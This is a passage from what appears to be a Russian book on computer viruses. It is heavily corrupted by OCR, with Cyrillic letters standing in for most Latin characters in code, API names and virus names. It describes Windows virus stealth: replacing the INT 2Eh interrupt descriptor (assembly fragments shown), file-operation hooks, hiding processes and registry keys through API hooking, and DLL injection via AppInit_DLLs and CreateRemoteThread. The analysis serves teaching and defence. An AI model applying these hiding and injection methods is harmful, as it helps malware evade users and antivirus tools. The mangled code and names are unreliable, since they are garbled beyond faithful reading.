Внгрузить в буфвр ретистр ЮТР
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ШОУ еах, [еах+2]
1еа ейх, [еах+170п] Перейти на дескриптор преравания 2Е11
ГСОУ еах, [еах+4]
т о у ах, [ейх]
1еа есх, 1ос_113А7+1 Ссилка на адресную часть командм ^Р
ШОУ [есх], еах Адрес старого обработчика Ш  2Ей
1еа есх, [ейх+5А0П] Перейти на дескриптор прернвания 0Е2М
ШОУ [есх], ах

г еах, 10П
тоу [есх+6], ах
1еа еах, 1ос_1115А Адрес нового обработчика прернванич 2Е
ШОУ [ейх], ах
зПг еах, Юп
шо^ [ейх+6], ах

Итак, вирус, работая в затшценном режиме, подменяет в табли- 
це ГОТК дескриптор, соответств>то!ЦИЙ прернванию 2ЕЬ. Стармй 
дескриптор переносится в позицию, соответетвуклцую прерьхванию 
0Е2Ь. Для обрашения к компонентам операционной системм, рабо- 
таювдим в 0-м кольце завдита, вирус будет пользоваться не ШТ 2ЕЬ, 
а 1КТ 0Е2Ь. Любой же «нормальньш» системнмй вмзов, внполненньга 
какой-нибудь пршсладной программой, будет обработан процедурой, 
принадлежашей вирусу. Вот этот новьш обработчик, реагируювдий 
только на попмтку открьггия файлов:

; Новуй обработчик прерьшания 1МТ 02ЕИ
1ос_1115А:

сяр еах, 6411 , Это код МЮрепҒПе ?
1пг 1ос_11ЗА7 ; Нет -  на стандартнуй обработчик
ризПа
рузП Тз ;

: Здесь пропушеннмй фрагмент заражения программ

рор ;
рора ;

1ос_ИЗА7:
ЙЬ ОЕАГ: , Код команди М̂Р
бм ? ; Адресная...
йм ? ; . . . чаоть

Таким образом, вирус \¥ш32.1пЙ8.4608 даже не пнтается встро- 
иться в файловую систему и вести себя как «настояший» драйвер- 
фильтр. Возможности завдишенного режима он использует едва-едва 
на 1 %.
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Кстати, у вдумчивого читателя может возникнуть вопрос: почему 
операционная система зап}гскает вирус-службу (\Уш32.КетЕх) в 
3-м кольце завдитм, а вирус-драйвер (\Уш32.1пйз.4608) -  в 0-м? Ко- 
нечно же, дело не в имени файла и даже не в структуре программного 
кода. Различие кроется в параметрах запуска, определенньк в Реест- 
ре. Рассмотрим их на примере вируса ДУт23.КетЕх.
; Ветвь НК1М\8У8ТЕМ\СиггептСоп1:г118е1:\Зегу1сез\й9Л1оге Ехр1огег 
ЕггогСоГ|Тго!.= 1
ТгпадеРаТЬ^ЗузТегаЯооЛхзузТегпЗг^йауе гз\1е403г. зуз 
ОЬ]естНате=1оса13узТеш

Туре=0х30

Параметр «ЕггогС,опТго1» описнвает способ обработки ошибок за- 
грузки:

О 0 -  игнорировать;
О 1 -  вьдать сообшение и продолжить загрузку;
О 2 и 3 -  различньхе вариантн использования последней удачной 

конфигурации системн.
Параметр «ЗгагТ» определяет способ запуска программн:
О 0 -  запускать ядром как часть стека драйверов;
О 1 -  запускать в процессе инициализации ядра;
О 2 -  определять способ запуска автоматически по типу;
0  3 -  загрузить в память, но не запускать.
Битовнй параметр «Туре» определяет тип запускаемой программн: 
О  1 -  драйвер устройства, работаюший в 0-м кольце зашитн;
0  2 -  драйвер файловой системн, работаюший в 0-м кольце за- 

шитм;
О 4 -  набор аргументов для адаптера;
О  10Ь -  сервис 3-го кольца зашитн;
О 20Ь -  сервис, разделяюший свой процесс с другими сервисами. 
Остальнне параметрм дополнительннх пояснений не требуют.
К 2006-2007 гг., наконец, появились вирусн-драйверн, встраиваю- 

шиеся в файловую систему \\гшс1о\У5 N7. Самнй известннй из них -  
это \Уш32.Киз{оск.С. Он многократно зашифрован сложньши алго- 
ритмами и содержит огромное количество «трюков», затрудняювдих 
его исследование1. Вирусологи из разннх компаний даже устраивали 
неофициальное соревнование -  кто первнм разберется в тонкостях 
работн вируса. Победила команда антивируса Ог\УеЬ.

1 Подробное описание технологий этого не совсем даже вируса, а, скорей, 
«троянца», заняло бц в нашей книге слишком много места.
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А \¥ОМ-вирусов (на момент написания этих строк) просто не су- 
вдествует. И слава Богу!

4.3.9. «Невидимость» УУтйошз-вирусов
\У1пс1о\у5 -  гораздо более объемная и сложная операционная система, 
чем М 5-005, и возможностей для сокрнтия своего присутствия в си- 
стеме у вируса очень много.

Более того, «обман покупателей» -  способ суодествования самой 
\ЭДпс1о\У5. В мире этой операционки все эфемерно и змбко, никому и 
ничему нельзя верить. Прикладнне программн загружаются в «ка- 
жушуюся» память и взаимодействуют с «кажувдимися» устройства- 
ми. При помовди пакетов типа УМ\¥аге и У1г1иа1 РС, работаювдих под 
\¥!п<1о\У5. можно построить «кажувдийся» компьютер, отформатиро- 
вать «кажувдийся» винчестер и инсталлировать на него вполне ра- 
ботоспособньш, но даже не догаднваювдийся о своей виртуальности 
экземпляр операционной системн. Забавно бнло бн ознакомиться 
с философскими рассуждениями разумной программн, «живувдей» 
в таком виртуальном компьютере, о том, что первично -  материя или 
сознание.

Но довольно лирики. Перейдем к делу и поговорим, для нача- 
ла, о терминологии. Как это ни странно, но она изменилась. Хотя 
чего же тут странного? М н же привнкли, что буквально на на- 
ших глазах «контора» превратилась в «офис», «мультипликация» 
в «анимацию», «лоскутное шитье» в «пэтчворк», а «пьянка с кол- 
легами по работе» в «корпоратив». Примерно то же самое произо- 
шло и со «зСеакЬ-технологиями», знакомнми нам по 005-вирусам 
(Ғгос1о.4096 и прочим). На рубеже веков на смену вирусописателям 
90-х годов пришло новое поколение, обладаювдее более широким 
кругозором и знакомое с другими программннми платформами 
(прежде всего с иК1Х-подобннми операционннми системами), но 
не знакомое с разработками своих предшественников. Для обозна- 
чения технологий, призванннх скрнвать на компьютере активность 
вредоносннх программ, они привлекли новнй термин -  4гоо(Ш- 
технологии». Изначально словом «гооШ о хакерн, специализиру- 
ювдиеся на 1Ж1Х-системах, назнвали утилитн, предназначеннне 
для заметания следов произведенного взлома, -  их обнчно держали 
в корневом каталоге диска, то есть в гоо1>каталоге, а для их исполь- 
зования пнтались получить привилегии суперпользователя, то есть 
гоо1 -привилегии. Термин хотя и несколько изменил свое значе- 
ние, но в мире \У1п<1о\¥ 5  прижился. Так что имейте в виду: «8 1еаЬ.Ь»
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и «гооСкИ» в контексте нашей книги -  это «близнецм-братья», си- 
нонимн.

Впрочем, отличия все-таки есть. Если 45ЬеакЬ»-технологииинтере- 
совали преимувдественно хакеров и вирусописателей, то сейчас раз- 
работки новь1Х «гоо(;к]С»'ов не чураются даже весьма респектабель- 
нме программистские коллективн, которне занимаются (или только 
утверждают, что занимаются) исследованиями в сфере компьютерной 
безопасности. Например, юная, симпатичная и не менее умная про- 
граммистка Джоанна Рутковска из 1пла5хЬ1е ТЬ1п§з ЬаЬз разработала 
и обнародовала ряд внсокосложннх руткитов (В1ие РШ и др.). А вес- 
ной 2006 г. специалистн из университета штата Мичиган оповестили 
мир о возможности создания виртуальной машинн -  8иЬУй1;, кото- 
рая работает аналогично УМ\Уаге, но захватнвает скрьггьш контроль 
над операционной системой не после, а до ее установки. Некоторне 
их идеи (прежде всего запуск гоо1кИ-программь1 из загрузочного сек- 
тора) реализованн в таких вредоноснмх разработках, как Васк(1оог. 
\¥т32.5то\уа1.

Итак, что же должнн скрнвать Штск>\\г8-вирусь1 от бдительннх 
пользователей и смертоносннх антивирусов?

4.33.1. Маскировка присутствия в файле
Прежде всего вирусн должнн скрнвать фрагментн файлов, со- 

державдие вирусннй код. Если же вирус не внедряется в какую-ни- 
будь дрзтую программу, а представляет собой отдельннй автономннй 
файл, то весь такой файл целиком или, возможно, даже каталог, со- 
держаший такой файл.

В роли «неприятелей» для вирусов внст}'пают прикладнне про- 
граммьг, позво.таюшие просматривать содержимое каталогов и внут- 
ренности файлов, например Проводник или какой-нибудь файло- 
внй менеджер типа ҒАК Мапа§ег. Программн, просматриваклцие 
содержимое каталогов, обнчно используют стандартнме функции 
«ҒтсШ гзШ к» и «ҒтсШехСҒПе» из «КЕШ^ЕЬ32.01.1>. Внугрь фай- 
ла они «загляднвают» тоже бесхитростно, открнвая файлн при по- 
моши «СгеаГеҒПе» и читая их содержимое при помовди «КеайҒПе». 
Мн уже знаем, что вмполнение любой файловой операции в \У1пс1о\¥5 
сводится к длинной цепочке внзовов различннх компонентов опера- 
ционной системн, лежавдих на разних «слоях» и «уровнях». Вирус 
может встроиться в эту цепочку в любом месте и исказить результати 
файловой операции так, чтобн прикладная программа (или прими- 
тивньш антивирус, работаюший в 3-м кольце зашитн) «не увидела»
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его. Рассмотрим несколько типичнмх примеров того, как \У1П(1ои'8- 
вирусм делают это.

Частично «скрьгеаться» умел даже \¥ш 32.СаЬапак -  историче- 
ски первьш вирус, научившийся жить и в \Ушс1олу5 9Х, и в \У1пс1от 
НТ. Являясь «полурезидентннм», этот вирус бмл очень «прожорли- 
внм» -  после своей активации он довольно бнстро заражал десят- 
ки и сотни программ на жестком диске. Вирус заменял в таблице 
импорта зараженной программм адреса многих системннх внзовов 
(«Сгеа1еҒПе», «СгеаСеРгосеяя», «СоруҒНе», «МоуеҒНе», «ҒтйҒшЬ- 
ҒЛе», «ҒтсМех^ҒИе» и прочие) так, чтобн они указнвали на его про- 
цедурн. Таким образом, если зараженной оказивалась программа 
«ЕХРШКЕК.ЕХЕ» (а она заражалась обьмно одной из первмх), то 
любая операция, вьшолненная при помовди Проводника (создание и 
открнтие файлов, поиск файлов в каталогах, запуск программ и т. п.), 
оказнвалась под контролем вируса. Модифицируя результатн работн 
АР1-функций «Ғ1пйҒ1г5<;Ғ11е» и «ҒтсШехСҒПе», вирус \У т32 .СаЬапах 
уменьшал длин}' зараженньхх файлов. Делалось это примерно так:

1 ) получив управление вместо одной из этих функций, вирус пер- 
внм делом внзнвал их оригиналм;

2 ) приняв от оригинальннх функций структурупамяти, заполнен- 
ную сведениями о найденном файле, вирус извлекал из нее имя 
файла;

3) если файл оказнвался уже инфицированннм (а таковнми счи- 
тались РЕ-файлн с длиной, кратной 65Ь), то вирус модифици- 
ровал в структуре памяти поле, соответствуювдее длине файла;

4) управление возврашалось внзьтаюшей программе.
Эффект «невидимос.ти> мог бьггь многократно усилен, если бн ви-

русьх, подобнне \¥ш 32.СаЬапа$, заражали «КЕККЕЕ32.В1Х» и бра- 
ли на себя обработку основннх файловнх операций: удаляли вирус 
из файла в момент его открмтия и вновь заражали его (файл) при 
вмполнении «С1озеНап<11ек По крайней мере, по отдельности все эти 
операции вирусописателями бмли хорошо изученм, да и теоретиче- 
ски возможность такого «стелсирования> ими тоже активно обсуж- 
далась, но... Но вируса, которнй поступал бн таким образом, так и 
не появилось ни в «дикой природе», ни в коллекциях вирусологов. 
Вот вам очередное подтверждение тезиса, что \¥тс1о\У8 -  настолько 
огромная и труднообозримая система, что далеко не все ее уголки ос- 
военн даже «вездесугцими» хакерами и вирусописателями.

Зато довольно активно вирусописателями разрабатнвалась идея 
«невидимости» вирусов, встраивавшихся в файловую систему \¥ 1п-
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сЬлуз 9Х. Примерами могут служить вирусм \У1п9Х.2ег§.3849. 
\Уш9Х.ҒиеЬ.Ю30, \Уш9Х.СЬйпега.1542, \У'т9Х.5та8ЬЛ0262, \Ут9Х. 
НР8.5124 и прочие. Наиболее -«продвинутнм» является первнй из 
них, вот его и рассмотрим. Вирус для получения привилегий 0-го 
кольца зашитьг и встраивания в файловую систему использует набор 
приемов, известннй нам по \¥т9Х.С1Н. Вирусньга обработчик фай- 
ловнх операций внглядит следуюшим образом:
00401340: ризЬТй
00401341: ризпай

0040134С: стр э1,008 ; Это зэкрнтие файла’
0040134Е: )е 0004016В4
00401354: сгар а1,02С : Это лоиск 1-го файла?
00401356: ]е 000401522
0040136С: сир а ! :002 : Это поиск следуюшего?
0040135Е: ]е 000401522
00401364: свр а ! ,000 ; Это чтеиие файла?
00401366: ]е 000401607
0040136С: сгар а I ,001 ; Это запись в файп?
0040136Е: ]е 0004013С8
00401370: стр а ! ,024 ; Это открнтие файла’
00401372: ]е 00040159А
00401378: стр а I .026 ;
0040137А: ]е 000401487
00401380: стр а1 ,00А ; Это перемешение э файле’
00401382: е̂ 000401420
00401388: сшр а1 ,0П  ;
0040138А: ]е 0004013Е8

00401391: рорай
00401392: рорТй
00401393: са11 000401ЗАЗ ; На оригинальннй обработчик

Анализируя этот фрагмент, можно заключить, что вирус самостоя- 
тельно обрабатьшает большое количество файловнх операций. Это 
ему нужно для того, чтобн не позволить прикладннм программам 
3-го кольца зашитн обнаружить посторонние -«новообразования» 
в зараженннх файлах.

А вот файловнх вирусов (не троянских программ и не червей!) для 
\У1пс1о^ 5  N1' поступаюших подобннм образом, видимо, нет. Ситуа- 
цию с КТ-вирусами, пьггаюшимися работать в 0-м кольце завдитн, мн 
уже обсудили несколькими страницами ранее.

4.3.9.2. Маскировка присутствия в памяти
Иногда в целях обеспечения «невидимости» внполняется попнтка 

скрнть в памяти компьютера внчислительнне процессн, соответст-
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вуюшие работаюадим вирусам. Такое «поведение» не очень характер- 
но для файлових вирусов, но широко используется в сетевьга вирусах 
и червях. Тем не менее тему «невидимости» вирусов в памяти все же 
целесообразно рассмотреть в этой же главе.

В первую очередь вирусм стараются спрятаться от пользователя. 
Если не предпринимать никаких маскируюших мер, то пользователь 
сможет увидеть вредоносньт вьгчислительнмй процесс при помоши 
«трех пальцев» -  то есть нажав одновременно клавиши С1г1+А11+Ое1. 
При этом на экране появится меню со списком активннх процессов, 
позволяюшее пользователю вмбрать и «убить» любой из них (ну или 
«почти любой»).

I З а в е р ш е н и е  р н б о т м  п р о г р а м м м

ШЯЯ
Негпа!

ВНИМАНИЕ. Поеторное нажотие клавш СТРЬ+АИ-ИЭЕЬ 
привеает к перезагрузке комгъюгера.
Все несохраненние данние буауг при этом <дерянь1

Снягь задачц| ^авершигь работу Отмена

б О Д и с п е т ч е р  з а д а ч

Файл Параметрьа Вид Оправка
Ш И

Пвиложешм! Проиессм [Бистродействие I

Ипяобраэо I РЮI ЦП | ВрепяЦП | Памягъ |
Ьср5ус5.ехе 604 00 0:00:00 4 304 КБ
5УсЬой.ехе 620 00 0:00:01 10 892КБ
1пейпҒо.ехе 1120 00 0:00:01 11 112 КБ
е?ф)огег.ехе 1468 00 0:00:03 6536 КБ
^ет& .ех е 1536 00 0:00:Х 1 268 КБ
Ъз&тдг.ехе 1552 00 0:00:00 1 996 КБ

▼

2авершить процесс

Процессое: 28 Зэрузка ЦП: 0% Паиять: 88416К /  471792К

Рис. 4.14 ❖ Менеджерь) процессов -  ТА5КМАМ и ТАЗКМСР: 
а) ТА5КМАМ вВДпйоиз 9Х; б) ТАЗКМОҒ) в\Л/шйо«з ИТ
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В \\Чп(1оау5 9Х за эту операцию отвечает системная программа 
«ТАЗКМАК.ЕХЕ^ а в  Ш ш сктзШ ' -  «ТА8 КМСК.ЕХЕ». Интересно, 
что в списке задач, полученном при помохци -«ТА8 КМАН», сама эта 
программа отсутствует. Дело в том, что в МУшсЬлуз 9Х (но не в ̂ УтсЬлуз 
КТ!) можно программно расклассифицировать все запувденнне зада- 
чи на «обмчнме» и «системнне», причем «ТА8 КМАН» показнвает 
только задачи первой группн. Соответствуюший признак присваива- 
ется процессу при помоши недокументированной сервисной функции 
«К.е§181ег5 ег\ткеРгосе55», обитаюшей в «КЕКНЕЬ32.0ЬЕ». Если про- 
грамма внполняет данную функцию, передав ей в качестве параметра 
значение 1, то процесс этой программь1 исчезает из списка. Но «поку- 
пается» на этот наивньш трюк только пользователь, применяюший в 
\¥тс!о\У5 9Х программу «ТА8 КМАМ». Любой другой метод просмотра 
списка вьшолняюшихся задач так просто обмануть себя не позволит.

Что же это за методн? Они основанн на непосредственном ис- 
пользовании сервисннх функций операционной системн. В сети 
Интернет можно найти немало материалов, раскрнваюших подроб- 
ности поиска в памяти различннх объектов. Если резюмировать всю 
информацию, с о д е р ж а ш у ю с я  в этих материалах, то главньш внвод 
будет таков: универсального способа, пригодного для поиска вьшол- 
няюшихся процессов, не сушествует.

В какой-то мере на «универсальность» может претендовать способ, 
основанньш на перечислении всех присутствуюших на экране окон 
(в том числе и свернутнх) при помоши функции «ЕпитШ т(1о\\'8» из 
«05ЕК32.0ЕЕ». Действительно, он одинаково работаетпрактически 
во всех современннх версиях \ \ гтс 1о'Лгт5, но делает это одинаково не- 
надежно -  ведь многие внполняклциеся программн, и прежде всего 
как раз вирусн, просто не имеют связанннх с ними окон. Так что этот 
способ, рассмотренньш в контексте нашей книги, следует признать 
неудовлетворительннм.

Но у него немало альтернатив. Для всех версий \¥тс 1о\У5 9Х и не- 
которьгх версий группн \¥ тс 1о\У5 МТ пригоден способ, основанннй 
на работе функций «СгеаСеТоо1Ье1р325пар5Ьо(:», «Ргосе5532Ғ1г51>> и 
«Ргосе5з32Кех1>. Для всех версий \Утс1о\У5 НТ с успехом может бнть 
применен способ, используюший функцию «2\\’£)иегу5у51:етIп^ог- 
тайоп», которая живет в библиотеке «НТОЬЬ.ОЬЕ». Все современ- 
нне версии \Утс1о\уз, кроме \¥тс 1о\ \ ’5 95 и \¥тс!о\У5 НТ 4.0 (если в ней 
не установленн «сервиспаки»), позволяют перечислять процессн при 
помоши функции «ЕпитРгосеззез», живушей в «Р5АР1.0ЕЕ». Нако- 
нец, для версий «ветни» ЗДпйолуз 1^Т актуальнн еше два способа:
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О используюший «счетчики производительности» и функции 
«Рс1ЬОрепС)иегу», «Рс1ЬАс1(1СоипЬег», ■«Рс1ЬСо11ес<:ЦиегуОа1а», 
«Р(ШСеШа\\'Соип<;егАггау» и «Рс1ЬС1о5е£)иегу», расположен- 
нме в библиотеке «РОН.БЬЬ»;

О используюхций механизм «\ЭД'пс1о\У5 Мапа^ешепС ГпзСгитеп- 
Сайоп» и группу функций, связанньгх с созданием и примене- 
нием объектов «\¥еЬ-Вазе(1 Еп1 егрпзе Мапа^етеп!;».

Любме программм, используюшие эти способм, -  будь то анти- 
вирус или файловмй менеджер ҒАК. -  потенциально опаснм для 
вирусов, так как позволяют не только «увидеть» вируснмй процесс 
и просмотреть содержимое его адресного пространства, но даже и 
«убить» его. Поэтому вирусм вмнужденн скрмваться.

Первьш подход, используеммй вирусами, рассчитан на обмчннй 
обман пользователя. Вот скажете, сможете ли вм «навскидку» опреде- 
лить, вредоносен или нетпроцесс с именем «5У5МОИ32.ЕХЕ»? Если 
вм попьггаетесь составить свое мнение об этом процессе по «5У5-» и 
по «-32», то рискуете очень сильно ошибиться, ведь на самом деле это 
вирус \Ут32.АкН<1. Более или менее опмтньш пользователь обмчно 
наизусть помнит перечень процессов, характернмх для «здоровой» 
системь1:

О  а1 зус -  в \¥ 1Пс1о\у5 N7 служба планирования пользовательских 
задач;

О сИрагу -  в \У т ск тз  ХТТ заведует «буфером обмена» через ООЕ;
О С5Г55 -  в \УтсЬ\уз КТ поддерживает работу по технологии 

«клиент-сервер»;
О ехр1огег -  в \УтсЬ\У5 МТ и 9Х процесс программь1 «Провод- 

ник»;
О  т 1 егпа1  -  в \¥ 1пс1о\\'5  1\’Т и 9Х индикатор и переключатель язм- 

ка клавиатурм;
О кете132.с111 -  в \Утс1о\У5 9Х эта библиотека видна как процесс;
О 11з 5 П -г -  в Ж п(1о\ \ ’5 КгГ следит за соблюдением лицензий;
О 1шгер1 -  в \Мп(Ь \^ 5  КтТ поддерживает репликацию файлов;
О 1оа<1\тс -  в \УтсЬ\У5 МТ поддерживает работу с 1пЬетес ЕхрЬгег;
О ЬсаЬог -  в \¥ 1пс1о\ \ ’5 МТ (точнее, начиная с версии 2000) лока- 

тор удаленного вмзова процедур;
О 1за55 -  в \У1П(1о\у8 N1’ носитель важнмх служб сетевого назна- 

чения, таких как «Ме1  Ьо§оп» (•«Аутентификация удаленнмх 
пользователей»);

О ттгавк.Ь к -  в \У1пс1о\\'5  9Х процесс поддержки мультимедий- 
нмх задач;
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О тргехе -  в \¥ 1П(1олу5 9Х стандартннй системннй ро}тер;
О 1Ш£зг\'32 -  в 'Мпйолув 9Х сервер поддержки системннх сооб- 

шений;
О п<1с1еа§пС -  в \ \лтс1о\^ 5  КТ обеспечивает работу ВОЕ (обмен 

данньши между приложениями);
О пе1с!с1е -  в \Уш<1о\уз КТ обеспечивает работу ООЕ (обмен дан- 

ннми между приложениями);
О п(;ус1т -  в \У1пс1о\у5 КТ поддерживает работу приложений 

М 5-Б05 и \Ушс1о\у5 З.Х;
О р5£огез -  в \¥ 1пс1о\уз МТ обеспечивает зашиту уязвимнх дан- 

ннх, таких как ключи шифрования данних, пароли и т. п.;
О  грсзз -  в \ У ш с 1о \у 5 МТ служба поддержки вьхзова и внполнения 

удаленннх процедур, поддерживаюшая технологию БСОМ;
О ветсез -  в \¥1пс1от КТ носитель множества важннх систем- 

них служб сетевого и обшего назначения, таких как «СошриСег 
Вго\У5ег» («Просмотршик компьютеров в сетевом окруже- 
нии»), «ЕуепЬ Ьо§» («Обслуживание системннх журналов»), 
<Р1и§ апс! Р1ау» («Настройшик подключаемнх устройств») 
и т. п.;

О 5Ш55 -  в \У1пс1о\у5 КТ поддерживает сеансн работн пользова- 
теля;

О 5роо1$8 -  в \¥ 1Пс1о\У8 КТТ служба поддержки печати;
О  зроо132 -  в УЛпскгл-з 9Х служба поддержки печати;
О  8усЬо51 -  в \Утс1о\У5 МТ (точнее, начиная с версии 2000) но- 

ситель множества важнмх системннх служб сетевого и обшего 
назначения, таких как поддержка БСОМ и СОМ+, автомати- 
ческое обновление системн, брандмауэр (файрволл) интернет- 
соединений, диспетчер логических дисков, диспетчер удален- 
ннх подключений и прочее;

О  зузСет -  в Ш пйоте МТ процесс обслуживания кэшей, вир- 
туальной памяти и т. п.;

О 5уз<хау -  в \¥ 1пс1о\\'5  К!Т и 9Х приложение панели задач;
О 1ар1згу -  в \У1пс1о\¥з \ тТ поддерживает работу с некоторьши 

устройствами;
О 1а5кт§г -  в \Утс1о\У5 НТ диспетчер задач;
О Савктоп -  в \ У хпс1о \у 5 9Х диспетчер задач;
О ирв -  в Штс1о\У5 НТ служба поддержки источника бесперебой- 

ного питания;
О т п 1о§оп  -  в \Ушс1о\у5 МТ поддерживает регистрацию пользо- 

вателей в системе;
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О ,ш п т § т 1  -  в Шп<1 о\У5 N 7 (точнее, начиная с версии 2000) под- 
держивает работу ММС;

О штоа386.тос1 -  в \¥ шс1о\уя 9Х процесс поддержки работн кон- 
сольннх программ.

Конечно, этот список неполон, ведь ряд процессов запускаются 
не автоматически (например, а1§ -  служба шлюзов уровня приложе- 
ний), а ряд процессов появляются вместе с установленннми внешни- 
ми приложениями (например, оза и йпс!£а51; -  вместе с М5 ОШсе 97, 
<1с1Ье1р вместе с 0 1 гесС,Х, а рсзпоор -  вместе с драйверами некоторнх 
модемов). Кроме того, не все эти процессн нужнн, и в пцательно •«вн- 
лизанной» системе их обнчно остается в памяти не больше дюжинн. 
Тем не менее при определенном опьгге администрирования опера- 
ционной системн, а особенно в случае, когда все нужнне процессн 
после завершения установки «здоровой» системн внписанн на бу- 
мажечку, «чужака» обьгчно видно сразу. Но вирус и тут имеет шансн 
«отвести глаза» пользователю. Типичньга прием: стартовать из фай- 
ла со вполне «правильньш» именем -  например, некоторне вирусн 
очень любят жить в «С:\зусЬозС.ехе» или «С:\\¥1 пКТ\з\7сЬо51:.ехе». 
Как распознать крамолу? А очень просто: правильное «местожитель- 
ство» этого файла -  каталог «С:\\У1пКТ\5У5ТЕМ32», и, кроме того, 
в «Шшс1о\у5 9Х» и «\У1пс1о\\7з N'1' 4.0» такого процесса просто не бнва- 
ет. Другой, не менее типичннй и не менее наивннй прием: чуть-чуть 
изменить имя процесса так, чтобн невнимательний пользователь не 
увидел разницн -  «зусЬОз!» (с «ноликом») вместо « з у с Ь о з 1» (с бук- 
вой «о»), « 1 за55» (с «единичкой») вместо «Ьа55» (с буквой «1») и т. п. 
Таким образом, в большинстве случаев «врага» обнчно удается уви- 
деть невооруженннм глазом и уничтожить гольши руками, но лучше 
все-таки поручить эту работу антивирусу, которьш «залезет» внутрь 
подозрительного процесса и поставит во фразе «казнить нельзя по- 
миловать» запятую в нужном месте.

Второй подход, используемьга вирусами для маскировки в па- 
мяти: они тем или иннм способом встраиваются в цепочку драй- 
веров и системннх библиотек и «внтирают» в используемнх ими 
структурах данннх информацию о своем присутствии. В \Утс1о\У5 

N1" для этой цели обнчно перехватнваются функции «2\у£)иегу- 
ЗузЬет^пҒогтайоп» и «Ж^иегуЗузЬет^пЬгтайоп»1, так как они 
расположенн «ближе всех» к системньш таблицам операционной 
системьт и все остальнне сервиснне функции для получения списка

1 Первая из них -  «обертка» для второй.
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процессов сами обрашаются к ним. В Ш тсЬ^з 9Х вряд ли можно при- 
думать что-нибудь более эффективное, чем перехват «Ргосе5з32 Ғ1гз{» 
и «Ргосе5з32КехС». Примером использования подобнмх технологий 
может служить сетевой «червяк» №£-\¥оггп.\У1п32.Рас1оЬо1.2. Вот 
перечень перехватмваемих (и, соответственно, контролируеммх) им 
системннх сервисов:

О в «КЕККЕЕ32.ВЬЬ» -  «ҒтсШех^ҒПеХУ», «Ргосезз32Кех1»;
О в«КТВЬЬ.ОЕЬ»--«№^иегу5уз£ет1пЬгта1;юп»,«К1:1Се1;Найуе- 

ЗузЬетГпЬгтаИоп», «2\у£)иегу5уз1;ет1п£огта1;юп»;
О в «АО\УА.Р132.ВЬЬ» -  «Ке§ЕпитКеуА», «Ке§ЕпитКеуЕхА», 

«КедЕпитКеу^У», «Ке§ЕпитКеуЕх\У», «Ке§ЕпитУа1иеА», 
« Ке§ Епи т  Уа1ие\¥ ».

Впечатляет списочек, да? Впрочем, это сетевой червь, а вот файло- 
внх вирусов, применяюгцих подобнне трюки, вроде бн не сушеству- 
ет, и это тоже замечательно!

Наконец, нельзя не упомянуть несколько очень красивнх техноло- 
гий маскировки, основанннх на прикреплении вирусного внчисли- 
тельного процесса к другому вьшолняюшемуся процессу. Работают 
эти технологии только в \Утс1о\У5 КТ.

В простейшем случае вирус просто прописнвает сснлку на свою 
ВЬЬ-библиотеку в ключе «НКЬМ\5о1Ъь’аге\М1сго50Й:\\Мпс1о\¥5МТ\ 
Сиггеп1Уегзюп\\Утс1о\\’5\Арр1т£_ВЕЕ5», и после перезагрузки эта 
библиотека попадет в адреснне пространства всех процессов. В ходе 
загрузки любой динамической библиотеки один раз срабатнвает 
инициализируювдая ее стартовая функция «ОЕЕМа1п», следователь- 
но, вирус может получитъ управление, просканировать свое «новое» 
адресное пространство, внедрить свой код в другие библиотеки и т. п.

Более продвинутьш является метод, используювдий возможно- 
сти сервисной функции «СгеаСеКетоСеТЬгеас!», которая живет в 
«КЕКХЕЕ32.0ЬЕ» всех версий \У1пс1о\уз. Впрочем, в \Утс1о\У5 9Х 
она просто «живет» (в виде «пустншки»), а в \¥ тс 1о\У5 N1' еше при 
этом и «работает». Так вот, стартовав в \¥тс1о\уз КТТ. вирус может от- 
крнть «чужой» процесс (например, «ЕХРЬОКЕК.ЕХЕ») при помо- 
ши системного внзова «ОрепРгосезз» и «впрнснуть» в него капельку 
своего кода при помоши «СгеаГе КетоСеТЬгеас!» -  эта технология так 
и назнвается: « О Е инъе кция». То есть код вредоносной программн 
становится частью иного, например системного, процесса и, разуме- 
ется, ни в одном из списков не виден в качестве отдельной задачи.

Проиллюстрировать использование подобннх технологий на при- 
мере какого-нибудь файлового вируса невозможно. Рассмотреннне
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приемн входят в арсенал только «червяков» и «троянов», речь о ко- 
торнх пойдет дальше.

43.9.3. Маскировка ключей Реестра
Ключи Реестра, используемне вирусом для регастрации в си- 

стеме, тоже нуждаются в сокрьггии. Перехватив тем или иннм 
способом системнне функции «Ке§ЕпитКеу», «Ке§ЕпитКеуЕх», 
«Ке§ЕпитУа1ие», расположеннне в «АВ\¥АР132.ГЗЕЬ». вирус мо- 
жет исказить возврашаемую ими информацию и, таким образом, 
дезинформировать излишне любознательного пользователя, во- 
оруженного стандартной системной утилитой «КЕСЕ01Т». За при- 
мерами далеко ходить не приходится: все тот же № 4-\Уогт.\¥ш32. 
Рас1оЬо(:.2 .

4.3.10. Полиморфние вируси в УОТпйожз
Одним из мифов, активно продвигавшихся в пользовательские массн 
разработчиками операционной системн ХУтсЬмуз 95, бнл миф о не- 
возможности сушествования в этой среде самомодифицируюшихся 
программ. В самом деле, исполняемнй код РЕ-программ после за- 
грузки в память попадает в отдельную секцию, для которой сброшен 
бит разрешения записи. Попнтка внполнить модификацию этого 
фрагмента памяти будет мгновенно пресечена процессором путем ге- 
нерации исключения ОБЬ.

Разумеется, закрьггнй турникет в метро предназначен только для 
законопослушннх «граждан». Остальнне же могут обойти его сбо- 
ку, предъявив контролерше «краснне корочки». Еше турникет мож- 
но перепрнгнуть. Наконец, имея подходяшую комплекцию, можно 
просто протиснуться между хромированньши прутьями.

Для того же, чтобн перебраться через виртуа.тьнне «турникетн», 
устроеннне операционной системой \Утс1о^з, достаточно устано- 
вить в единицу бит разрешения записи в кодовой секции заражен- 
ной программн, -  для «дроппера» (программн, из которой стартует 
первое поколение вируса) это можно сделать при помоши утилитн 
типа «РЕ\УК5ЕС», а для заражаемнх программ это будет делать 
сам вирус. Вот, например, таблица секций для файла, зараженного 
вирусом \У1и32.Кат$оп§.3891 (см. табл. 4.11). Обратите внимание 
на последнюю секцию, в которой по задумке программистов фирмн 
М1СГ050Л должнн бнли храниться перемешаемне сснлки, а вовсе не 
исполняемьга код, к тому же доступннй для записи!
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Таблица 4.11. Таблица секций в программе, 
зараж енной вирусом Я атзоп д

Н а т е У|Г13|2в НУА РЬу$$1ге Ғ1ад5
1 Лех* ЗЕ9С 1000 4000 1000 60000020 г.ес.....
2 МаХа 84С 5000 1000 5000 С0000040 1Ж..й...
3 .Ма1а ОЕ8 6000 1000 6000 40000040 г....с1...
3 .гзгс 6000 7000 6000 7000 40000040 Г....Й...
4 .ге1ос 3000 0000 2000 эооо Е2000060 пмес.с)...

Другой способ преодоления «турникета» заключается в копирова- 
